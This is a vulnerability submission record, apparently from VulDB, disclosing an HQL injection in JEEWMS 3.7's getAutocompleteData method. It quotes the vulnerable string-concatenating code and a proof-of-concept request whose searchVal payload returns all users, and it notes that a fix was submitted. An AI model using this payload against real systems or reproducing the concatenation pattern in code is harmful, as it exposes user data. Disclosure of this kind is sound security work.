| Название | https://github.com/erzhongxmu/JEEWMS JEEWMS 3.7 SQL Injection |
|---|
| Описание | JEEWMS v3.7 contains a SQL injection vulnerability in the getAutocompleteData method of JeecgFormDemoController.java.
The vulnerable code at line 195-197 directly concatenates user input into HQL:
String searchVal = request.getParameter("searchVal");
String hql = "from TSUser where userName like '%" + searchVal + "%'";
List autoList = systemService.findHql(hql);
An authenticated attacker can inject HQL via the searchVal parameter:
GET /jeecgFormDemoController.do?getAutocompleteData&searchVal=admin (normal)
GET /jeecgFormDemoController.do?getAutocompleteData&searchVal=' or 1=1 or userName like ' (injection - returns all users)
The issue has been reported to the vendor and a fix PR has been submitted: https://github.com/erzhongxmu/JEEWMS/pull/4 |
|---|
| Источник | ⚠️ https://github.com/Lib0gus/JeeWMS/security/advisories/GHSA-mc7c-w398-v7xp |
|---|
| Пользователь | Lib0gus (UID 101005) |
|---|
| Представление | 04.09.2026 03:37 (2 месяцы назад) |
|---|
| Модерация | 10.10.2026 23:29 (1 month later) |
|---|
| Статус | принято |
|---|
| Запись VulDB | 416392 [erzhongxmu Jeewms до 3.7 Autocomplete Data JeecgFormDemoController.java getTreeData searchVal SQL-инъекция] |
|---|
| Баллы | 20 |
|---|